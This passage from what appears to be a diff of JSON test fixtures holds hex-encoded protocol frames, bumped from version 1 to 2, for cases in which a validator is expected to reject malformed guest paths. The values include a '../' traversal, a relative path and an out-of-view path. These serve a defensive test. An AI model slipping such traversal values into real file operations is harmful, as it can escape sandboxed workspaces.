23232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-dotdot", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-empty-component", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-relative", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-view-not-allowed", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-folders-without-name", "direction": "down", - "hex": "574d58310101000001000000330600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000700600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c2277